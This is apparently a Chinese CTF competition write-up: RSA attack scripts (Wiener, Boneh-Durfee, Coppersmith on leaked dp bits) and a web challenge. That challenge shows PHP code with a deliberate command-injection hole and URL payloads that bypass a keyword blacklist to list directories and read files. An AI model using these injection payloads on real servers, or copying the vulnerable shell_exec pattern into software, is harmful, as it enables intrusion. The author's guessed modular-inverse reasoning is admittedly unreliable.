可能是世界上第一张木制银行卡

# 现可免费申请,无工本费、快递费、年费,中国可送达。

> 传送门:TreeCard

本次比赛感觉难度挺大的,全程似乎都没有hint,出题人硬是把我给逼成了密码学人
看了半天日文和英文的类似题wp,脑力消耗极大
队伍成绩:615pt/9kill/93名/675登录/744报名
个人成绩:350pt/5kill/171名/2252登录/2798报名
最后半小时Exposure这题多了6队killed,这py上分就离谱

Misc

签到 [16pt 634killed]

题目

ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9

WriteUp

一层Base64编码,解码即可。

flag

flag{qq_group_826566040}

Crypto

more_calc [105pt 77killed]

题目

maybe u need more cpu

附件

task.py
import gmpy2
from Crypto.Util.number import *

flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"

p = getStrongPrime(2048)
s=0
for i in range(1, (p+1)//2):
    s += pow(i, p-2, p)
s = s % p
q = gmpy2.next_prime(s)
n = p*q
e = 0x10001
c = pow(bytes_to_long(flag), e, n)
print(p)
print(c)
#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
#350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523

WriteUp

观察题目可知,for循环长度极大,几乎不可能算出来。而素数q是由累加的s生成的,累加的关键语句为pow(i, p-2, p),这句代码经Google可以找到这篇文章,乘法逆元 - ezoiHY - 博客园,通过这篇文章我们能够知道当p为素数时,pow(i, p-2)即等价于求i的逆元,不过我也不知道逆元是个啥东西,只记得gmpy2.invert似乎也被叫做求逆元,但这求逆元有两个传参,和上面的应该不是同一个东西,但会有一定关联。

然后就猜如何用gmpy2.invert来替代这个for循环,首先for循环的结束变量(p+1)//2应该会用上,然后p作为逆元的关键素数应该也会用上,那么把for循环用s = gmpy2.invert((p+1)//2, p)替换试试,结果是乱码的,参数交换一下,还是乱码的。

而这时候我突然想到真正的结束变量应该是(p+1)//2 - 1才对,用这个值去运行试试,最终在s = gmpy2.invert(p, (p+1)//2-1)时得到flag。

exp

import gmpy2
from Crypto.Util.number import long_to_bytes

p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
s = gmpy2.invert(p, (p+1)//2-1)
s = s % p # 这句其实没用了
q = gmpy2.next_prime(s)
e = 0x10001
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p*q
c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
m = pow(c,d,n)
print long_to_bytes(m)

flag

flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}

gmpy2.invert的第一个参数应当是余数,即pow函数的第三个参数,所以这个地方应该是p,那么实际上下面的s = s % p已经在函数中就执行过了,可以不用了。

所以这题应该是求快速幂

好吧这题就是蒙的,这不是数学系的话根本看不懂啊...

simpleRSA [72pt 120killed]

题目

Familiar and simple rsa

附件

task.py
from Crypto.Util.number import *
import gmpy2

p, q, r = [getPrime(512) for i in range(3)]
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
d = getPrime(256)
e = gmpy2.invert(d , phi)

flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"

c = pow(bytes_to_long(flag), e, n)

print(e, n)
print(c)
task.txt
1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452

WriteUp

这题看到e极大,首先想到Wiener Attack,但是三素数似乎没法用这种攻击方法,于是就去Google,但是找了好久都没找到能攻击这种情况的,后来换了英文关键词,找到了这篇文章,eshiho's Blog — ASIS CTF Finals 2017 Writeup,里面的Gracias这题正好和咱们要写的这题的前置条件几乎一样,但是奈何日文看不懂...于是又去找了这场比赛的英文wp,ASIS Finals CTF 2017- Gracias Writeup – masterpessimistaa,舒服了,直接用其脚本解出d,然后正常解RSA就完事。

exp

exp.sage
from sage.all import continued_fraction, Integer
def wiener(e, n):
    m = 12345
    c = pow(m, e, n)

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        d = int(i.denominator())
        m1 = pow(c, d, n)
        if m1 == m:
            return d

n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
print(wiener(e, n))
exp.py
import gmpy2
from Crypto.Util.number import long_to_bytes

n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
d = 62314032297209126376762909661659250844217840698984545333474542525611924269199

m = pow(c, d, n)
print "long_to_bytes:", long_to_bytes(m)

flag

flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}

这个sage脚本其实还是Wiener Attack,至于为啥能出结果我也不知道,反正这次题目老玄学了。

英文wp的作者给了另一个变种的Wiener Attack,应该在正常情况下更靠谱些。

variantWienerAttack.sage
from sage.all import continued_fraction, Integer
def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(20):
            for s in range(20):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1

n=1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
e=1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
print(wiener(e, n))

然后是日文作者的Boneh-Durfee Attack,应该也比较靠谱。

bonehDurfeeAttack.sage
from sage.all import *
# Original: https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

dimension_min = 7

def remove_unhelpful(BB, monomials, bound, current):
  if current == -1 or BB.dimensions()[0] <= dimension_min:
    return BB
  for ii in range(current, -1, -1):
    if BB[ii, ii] >= bound:
      affected_vectors = 0
      affected_vector_index = 0
      for jj in range(ii + 1, BB.dimensions()[0]):
        if BB[jj, ii] != 0:
          affected_vectors += 1
          affected_vector_index = jj
      if affected_vectors == 0:
        #print "* removing unhelpful vector", ii
        BB = BB.delete_columns([ii])
        BB = BB.delete_rows([ii])
        monomials.pop(ii)
        BB = remove_unhelpful(BB, monomials, bound, ii-1)
        return BB
      elif affected_vectors == 1:
        affected_deeper = True
        for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
          if BB[kk, affected_vector_index] != 0:
            affected_deeper = False
        if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
          #print "* removing unhelpful vectors", ii, "and", affected_vector_index
          BB = BB.delete_columns([affected_vector_index, ii])
          BB = BB.delete_rows([affected_vector_index, ii])
          monomials.pop(affected_vector_index)
          monomials.pop(ii)
          BB = remove_unhelpful(BB, monomials, bound, ii-1)
          return BB
  return BB

def boneh_durfee_small_roots(pol, modulus, mm, tt, XX, YY):
    PR.<u, x, y> = PolynomialRing(ZZ)
    Q = PR.quotient(x*y + 1 - u) # u = xy + 1
    polZ = Q(pol).lift()
    UU = XX*YY + 1
    gg = []
    for kk in range(mm + 1):
      for ii in range(mm - kk + 1):
        xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
        gg.append(xshift)
    gg.sort()
    monomials = []
    for polynomial in gg:
      for monomial in polynomial.monomials():
        if monomial not in monomials:
          monomials.append(monomial)
    monomials.sort()
    for jj in range(1, tt + 1):
      for kk in range(floor(mm/tt) * jj, mm + 1):
        yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
        yshift = Q(yshift).lift()
        gg.append(yshift)
        monomials.append(u^kk * y^jj)
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
      BB[ii, 0] = gg[ii](0, 0, 0)
      for jj in range(1, ii + 1):
        if monomials[jj] in gg[ii].monomials():
          BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
    BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
    nn = BB.dimensions()[0]
    if nn == 0:
      print("failure")
      return 0,0
    BB = BB.LLL()
    PR.<w,z> = PolynomialRing(ZZ)
    pol1 = pol2 = 0
    for jj in range(nn):
      pol1 += monomials[jj](w*z+1,w,z) * BB[0, jj] / monomials[jj](UU,XX,YY)
      pol2 += monomials[jj](w*z+1,w,z) * BB[1, jj] / monomials[jj](UU,XX,YY)
    PR.<q> = PolynomialRing(ZZ)
    rr = pol1.resultant(pol2)
    if rr.is_zero() or rr.monomials() == [1]:
      print("the two first vectors are not independant")
      return 0, 0
    rr = rr(q, q)
    soly = rr.roots()
    if len(soly) == 0:
      print("Your prediction (delta) is too small")
      return 0, 0
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly

def boneh_durfee(n, e):
  delta = RR(0.167) # d ~ n^0.167
  m = 5
  t = round((1-2*delta) * m)
  X = ZZ(2*floor(n^delta))
  # we have n = p^2q. so <code>phi(n) = n + {-(pq+pr+qr) + p+q+r)} - 1</code>.
  # we reconsidered boneh-durfee's attack then we have <code>x(A+y) + 1 = 0 mod e</code> where <code>A = (n-1)</code>
  # and (x, y) = (k, -(pq+pr+qr)+p+q+r). 
  Y = ZZ(floor(n^(2/3)))
  P.<x,y> = PolynomialRing(ZZ)
  A = ZZ((n-1)/2)
  pol = 1 + x * (A + y)
  solx, soly = boneh_durfee_small_roots(pol, e, m, t, X, Y)
  print(solx, soly)
  if solx > 0:
    return int(pol(solx, soly) / e)
  return 0

if __name__ == "__main__":
  N = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
  e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
  print(boneh_durfee(N, e))

上面的sage脚本都是python3环境(好吧我这边sage默认python3,不知道咋切换版本,所以就都改成py3的了)

Exposure [127pt 60killed]

题目

Do you know how to rsa?

附件

task.py
from Crypto.Util.number import *
import gmpy2

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
e = 7621
d = gmpy2.invert(e, phi)

flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
c = pow(bytes_to_long(flag), e, n)

dp = d % (p - 1)
print(dp >> 200)
print(c, e, n)
task.txt
1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616 7621 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863

WriteUp

这题的难点就在于dp只知道高位部分,而这种已知高位的RSA题目,自然会想到Coppersmith Attack,但是常见的Coppersmith Attack都不是针对dp的,所以正常的攻击脚本不太顶,于是无奈又去Google,以Coppersmith rsa dp ctf为关键词的时候,找到了某个大佬的wp合集,pcw109550/write-up: CTF write-ups,其中KAPO 2019这场比赛的Lenstra-Lenstra-Lovasz这题就有一个描述很nice:Recover dp by using Coppersmith's attack, and recover p,这不就是咱相干的事情吗,冲!

把大佬的sage脚本改改,变成适应这题的情况,于是dp就恢复出来了。

exp

exp.sage
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
secret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985
e = 7621

def factorize(e, dp):
    for i in range(2, e):
        p = (e * dp - 1 + i) // i
        if n % p == 0:
            return p
    return -1

def recover(secret):
    F.<x> = PolynomialRing(Zmod(n))
    einv = inverse_mod(e, n)
    unknownbits = 200 # 本题的丢失低位长度是已知的,所以是确定的200,比大佬的那题简单多了
    for k in range(1, e):
        print(k) # 因为脚本跑的时间比较长,所以输出一下k来表示脚本没挂
        f = (secret << unknownbits) + x + (k - 1) * einv
        x0 = f.small_roots(X=2 ** (unknownbits + 1), beta=0.44, epsilon=1/32)
        if len(x0) != 0:
            dp = x0[0] + (secret << unknownbits)
            p_cand = factorize(e, Integer(dp))
            if p_cand < 0:
                continue
            else:
                return p_cand, dp

if __name__ == "__main__":
    p, dp = recover(secret)
    print("----------------")
    print(dp)
exp.py
import gmpy2
from Crypto.Util.number import long_to_bytes

dp = 1853919354702665195692482141762443672110816395551769087719458890222297289161650213465263131874573003123893764012485956082575872070596774063510315574817225
n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863
e = 7621
c = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616

for i in range(1, e + 1):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) / i) + 1)==0:
            p = ((dp * e - 1) / i) + 1
            q = n / (((dp * e - 1) / i) + 1)
            phi = (p - 1) * (q - 1)
            d = gmpy2.invert(e, phi) # % phi
            m = pow(c, d, n)
            print "long_to_bytes:", long_to_bytes(m)

flag

flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}

Web

Command [30pt 324killed]

题目:

还是原来的ping?

题目核心源码

源码是拿命令透出来的,题目没给。留着方便以后出题

index.php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
  <title>PING</title>
  <link href="style.css?t=<?php echo date("1"); ?>" rel="stylesheet">
  <link rel="stylesheet" href="style2.css">
</head>
<?php
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/(;|'| |>|]|&| |\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|*|{)/i", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no no no!')
      window.location.href='index.php';</script>");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no flag!')
      window.location.href='index.php';</script>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
}
?>
<body>
    <div id="content">
        <div class="con">
            <div class="shlogo"></div>
            <div class="sou">
            <div class="font_div">
            <i style="font-size: 50px;" class="iconfont icon-sousuo"></i>ping
            </div>
                <form action="" method="get" target="_self">

                    <input class="wd" type="text" placeholder="IP:" name="url" x-webkit-speech lang="zh-CN">
                    </br>
                    <button><i style="font-size: 15px;" class="iconfont icon-sousuo"></i>ping</button>
                    </br>
                    </br>
                    <strong> Result:<?php  
                    print_r($a);
                    ?><strong>
                </form>
            </div>
        </div>
    </div>
</body>
</html>

WriteUp

比赛的几天前正好给校实验室出了个ping命令执行的内部训练题,这就碰上了,正好手热。

%0a当命令分隔符,测试ls命令,成功回显当前网站目录的文件列表。

因为是get传参,所以空格当参数分隔符就不太好用了,于是得用%09

cat被ban了,于是得用/bin/ca?

然后去根目录看了一下,发现有个启动mysql的脚本,于是猜测flag在数据库里,但是数据库密码又是随机生成的,于是就陷入死胡同了。

过了一会,隔壁CTFShow群里有大佬在/etc里发现了隐藏文件的flag...这他妈的,原来是个遍历题?

payload

?url=127.0.0.1%0als%09-A,扫描本目录,没发现flag。

?url=127.0.0.1%0als%09/%09-A,扫描根目录,没发现flag。

?url=127.0.0.1%0als%09/etc%09-A,扫描/etc目录,发现隐藏文件夹.findflag

?url=127.0.0.1%0als%09/etc/.findflag%09-A,扫描/etc/.findflag目录,发现flag被ban了。

?url=127.0.0.1%0als%09/etc/.findfla?%09-A,扫描/etc/.findflag目录,发现flag.txt文件。

?url=127.0.0.1%0a/bin/ca?%09/etc/.findfla?/fla?.txt,读取/etc/.findflag/flag.txt文件,得到flag。

flag

flag{3434745e-09ae-4530-98f4-5daaa00a76c4}

发送payload一定要用专业的发包工具,不然可能会因为%字符被二次编码导致发送了错误的payload而且还发现不了。

比如浏览器插件postman似乎就会对%字符二次编码,不确定是浏览器的锅还是插件作者的锅。(反正先解码一次肯定能解决,那就是作者不重视这个问题的锅了)

我用的是Fiddler,没出现二次编码的问题。

关于二次编码:客户端前端%0a->客户端后端%0a编码为%250a->服务器Web程序[Apache/Nginx]%250a解码为%0a->服务器解释程序[PHP]%0a

可以发现,如果在php中,网站作者不进行urldecode的话,那就会当作%0a这三个字符处理。

底层发包:客户端前端%0a->客户端后端%0a->服务器Web程序[Apache/Nginx]%0a解码为0a代表的char字符n->服务器解释程序[PHP]0a代表的char字符n

可以发现,由于客户端后端没有进行二次编码,那么最终php收到的就是一个字符n,于是就可以达到预期目的。


The End


什么都会,但又什么都不会。